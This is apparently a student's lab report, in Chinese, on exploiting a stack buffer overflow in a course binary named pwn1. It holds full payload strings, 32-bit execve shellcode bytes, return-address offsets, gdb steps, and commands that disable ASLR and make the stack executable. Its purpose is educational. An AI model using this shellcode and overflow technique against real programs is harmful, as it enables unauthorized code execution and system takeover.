1.实验内容
本次实验围绕 Linux 可执行文件 pwn1 的缓冲区溢出(BOF)漏洞与 shellcode 注入展开学习,核心是通过多种技术手段篡改程序执行流程,实现未授权代码执行。具体包括:直接修改程序机器指令,将 main 函数调用的目标从 foo 改为 getShell;利用 foo 函数中的 gets() 漏洞构造超长输入,覆盖栈上的返回地址,使程序跳转至 getShell 函数;在关闭系统防护机制后,精心构造输入数据,注入包含获取 shell 功能的机器代码,并通过覆盖返回地址跳转至该代码段,最终成功获得系统控制权。
整个学习过程涵盖了汇编指令分析、栈帧结构理解、内存地址计算等底层知识,实践了 gdb 动态调试、objdump 反汇编、perl/python payload 生成等多种工具的使用,深入理解了小端字节序、进程内存布局、函数调用约定等关键概念,建立了从漏洞分析到利用的完整知识体系。
2.实验过程
2.1直接修改程序机器指令,改变程序执行流程
2.1.1反汇编目标文件pwn1
使用objdump -d pwn1 | more命令对pwn1文件进行反汇编,可以得到汇编代码,我们需要关注的是getShell、main和foo函数
2.1.2计算机器指令跳转所需要的补码
在main函数中,“call 8048491”这条汇编指令所对应的机器指令“e8 d7ffffff”就是指调用foo函数,即e8所代表的跳转就是在eip为下一条指令地址(80484ba)的基础上加上d7ffffff这一补码,从而得到执行位于8048491的foo函数。在以上的基础上,要想让main函数调用getShell函数,而不是foo函数,那么就要对补码的值进行修改,我们已经知道getShell函数的地址为0804847d,那么减去原地址80484ba得到的补码c3ffffff,就是我们需要的修改的内容,将原来的d7ffffff改为c3ffffff。
2.1.3修改可执行文件pwn1
现在我们来修改可执行文件,将call指令的目标地址改为getShell函数的地址,来达到调用getShell函数的目的。
首先我们将pwn1文件复制一份并且命名为pwn2,接着使用vi文本编辑器对pwn2文件进行编辑。命令如下图:
进入文本编辑后按esc健,
接着输入:%!xxd命令将显示模式切换为16进制模式,并且输入/d7查找要修改的内容
将d7修改为c3,修改时注意前后对比,注意不要改错了。
接着使用:%!xxd -r将16进制改回原来的格式后,再输入:wq退出。
2.1.4验证结果
现在将pwn2反汇编,查看是否成功运行了getShell函数。可以看到原本main函数中call指令对应的foo函数变成了getShell函数。
现在运行一下,来验证结果吧,输入指令./pwn2,随后输入命令ls,可以看见显示出了当前目录的文件,这样就代表着成功啦!
2.2反汇编,了解程序的基本功能
2.2.1反汇编,了解代码
输入objdump -d pwn1 | more命令对pwn1文件进行反汇编,可以查看代码,了解到main函数调用的foo函数,有一个漏洞,foo函数在运行时需要一个输入,但系统只预留了28字节的缓冲区,那么这就代表着超出部分会造成溢出,我们就可以利用这个溢出来覆盖返回地址。
2.2.2确认哪几个字节会覆盖返回地址
输入gdb pwn1进入gdb调试,命令行如下图,在输入长字符1111111122222222333333334444444455555555后,查看程序崩溃时EIP寄存器的值:0x35353535,又因为0x35是字符'5'的ASCII码,说明第37-40字节覆盖了返回地址。
再次输入长字符1111111122222222333333334444444412345678,查看程序崩溃时EIP寄存器的值:0x34333231,对应“4321”的ASCII码,再次说明第37-40字节覆盖了返回地址。
以上过程说明第37-40字节最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为getShell的内存地址,输给pwn1,pwn1就会运行getShell。
2.2.3确认用什么值来覆盖返回地址
首先,我们已经知道getShell的内存地址为0804847d,再加上,在第二次输入长字符时,第37-40字节为“1234”,而返回地址0x34333231对应的ASCII码却是“4321”,那么这代表着,我们在将第37-40个字符替换为getShell的内存地址时,输入的应该是11111111222222223333333344444444\x7d\x84\x04\x08。
2.2.4构造输入字符串
由为不能通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。命令为perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input,之后可以使用命令xxd input查看input文件的内容是否如预期。
随后,使用(cat input; cat) | ./pwn1运行pwn1。可以看到在输入ls指令,后,成功显示出了当前目录的文件。
2.3 注入Shellcode并执行
2.3.1准备工作
这一步我们需要为实验环境设置一下,首先需要确保pwn1文件的可执行,接着关闭地址的随机化状态。命令如下:
execstack -s pwn1(给pwn1程序添加栈可执行权限)
execstack -q pwn1(验证堆栈权限,返回值为X表示该文件的堆栈被设置为可执行状态)
more /proc/sys/kernel/randomize_va_space(检查地址随机化状态,返回为2代表随机化,返回为0则表示关闭随机化)
echo "0" > /proc/sys/kernel/randomize_va_space(关闭地址随机化)
2.3.2构造要注入的payload
因为我们的缓冲区足够大,所以选择结构为:nops+shellcode+retaddr。
输入命令perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
这段命令的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置,因此我们得把它改为这段shellcode的地址。接下里就需要确定shellcode的地址。
打开一个终端,运行pwn1,命令为(cat input_shellcode;cat) | ./pwn1
另外再打开一个终端,首先找到pwn1的进程号,命令为ps -ef | grep pwn1
使用gdb调试,设置断点,确认注入地址。
随后在另外一个终端按下回车,再输入c,接着查看栈顶指针esp,按照这个地址逐步找到shellcode的地址。
确认之后shellcode的地址后,将返回地址改成它。随后运行pwn1,就会发现失败了。
使用si指令逐条排查,就会发现Shellcode存放的位置和程序运行时的栈顶离得太近了。当Shellcode自己执行“压栈”(push)操作时,栈顶会下移,刚好把后面还没执行的Shellcode代码给覆盖掉,导致程序崩溃。
2.3.3重新开始
这一部分我没有按照实验指导中的来做,一开始,我在进行bgd调试时,无法成功注入shellcode,但是我没有意识到这一点,执着于寻找注入成功后的代码标识以及shellcode的地址,这自然是找不到的,所以后来我用了另外的途径来完成这一部分。实在是没招了
首先啊,由于我在上述原因的情况下的不断尝试,所以我的input_shellcode文件变得非常大,所以我删除了这一个文件(使用命令rm -f input_shellcode_nop)
并且重新创建了一个正确大小的文件(使用命令python2 -c 'print "A"32 + "\xb0\xd3\xff\xff" + "\x90"100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > input_shellcode_nop)
再进行调试,使用命令echo -e "break *0x080484ae\nrun < input_shellcode_nop\nx/60wx $esp-0x70\nc" | gdb -q ./pwn1,找到shellcode地址
随后运行python2 -c 'print "A"32 + "\xe0\xd3\xff\xff" + "\x90"100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > input_shellcode_final命令,触发缓冲区溢出,跳转到NOP雪橇,最终执行shellcode获得系统控制权。
随后再运行pwn1文件,输入ls指令,可以看见当前目录的文件,说明成功啦!
3.问题及解决方案
- 问题1: 在将pwn1文件移动到虚拟机之后,由于实验需要再root目录下运行文件,所以要将桌面的文件移动到root目录下,然而当我直接在文件系统中移动,系统提示我没有权限
- 问题1解决方案:在桌面右键,会出现一个以root用户打开,点击然后输入密码,就可以将文件到root目录下了。
- 问题2:在实验初期,我过于依赖教程中的固定参数,直接使用网页上的内存地址0xffffd320,导致多次攻击失败。
- 问题2解决方案:首先是通过反汇编分析计算出字节偏移量,然后通过询问ai理解小端序存储方式,正确构造内存地址,最后使用NOP雪橇增大攻击成功率,最终成功获得shell权限。
- 问题3:关于execstack的下载
- 问题3解决方案:首先尝试了老师在群里发的命令行,结果不行,提醒我找不到相应的命令,于是准备登录网页,发现网页的登录也失效了,于是在询问了ai后,它给了我一个,可执行的execstack二进制文件,命令如下:curl -O http://old-releases.ubuntu.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1_amd64.deb,随后就可以安装下载的deb包,命令如下:sudo dpkg -i execstack_0.0.20131005-1_amd64.deb
4.学习感悟、思考等
通过本次缓冲区溢出漏洞实验,我深刻体会到理论与实践之间的巨大鸿沟。首先,初次使用kali虚拟机,对于许多操作都有些生疏,其次,对于实验的了解不够深入,这也是我后来实验失败的原因,但是好在在同学以及ai的一步步的指导下,我从最初机械地复制教程命令,到后来学会使用GDB动态分析内存布局,从遭遇无数次段错误的挫败,到最终成功获得shell权限的喜悦,这个过程让我真正理解了栈溢出的本质。我认识到,网络安全研究不仅需要掌握攻击技术,更需要培养严谨的实验态度和系统的问题排查能力。
参考资料
- 《逆向与Bof基础》